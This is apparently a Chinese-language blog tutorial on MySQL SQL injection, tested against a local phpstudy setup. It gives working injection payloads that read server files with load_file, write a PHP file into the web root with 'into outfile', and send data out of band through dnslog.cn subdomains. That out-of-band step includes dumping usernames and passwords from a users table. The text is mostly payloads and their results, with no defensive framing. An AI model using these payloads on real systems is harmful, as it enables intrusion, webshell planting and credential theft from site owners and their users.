sql注入之文件上传

1.开启读文件权限

在my.ini加上secure_file_priv=
secure_file_priv=代表对文件读写没有限制
secure_file_priv=NULL代表不能进行文件读写
secure_file_priv=d:/…代表只能对改路径下文件进行读写
在这里插入图片描述

2.读文件:

函数:
load_file();
语句:
?id=-1 union select 1,load_file(“d:\phpkfgj\phpstudy\PHPTutorial\mysql\my.ini”),3-- -
"d:\phpkfgj\phpstudy\PHPTutorial\mysql\my.ini"处写要读的文件路径
效果:
在这里插入图片描述

3.写文件:

函数:
into outfile或into dumpfile
语句:
?id=-1 union select 1,2,"<?php php info();?>" into outfile “D:\PHPKFGJ\phpstudy\PHPTutorial\WWW\1.php”-- -
效果:
1.php成功写入
在这里插入图片描述

4.带外攻击:

语句:
?id=1 and load_file(concat("\\",(select database()),".3e9dai.dnslog.cn\1.txt"))-- -
3e9dai.dnslog.cn:可自行去dnslog网站获取一个dns地址
效果:
可去dnslog上获取刚刚查看的数据库名称,之后即可进行数据脱库
在这里插入图片描述
在这里插入图片描述
数据脱库:
?id=1 and load_file(concat("\\",(select hex(concat_ws(0x7e,username,password))from users limit 2,1),".3e9dai.dnslog.cn\1.txt")) – -
在这里插入图片描述
在这里插入图片描述
之后将结果进行16进制转字符串即可
在这里插入图片描述

发布了16 篇原创文章 · 获赞 4 · 访问量 367

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104253271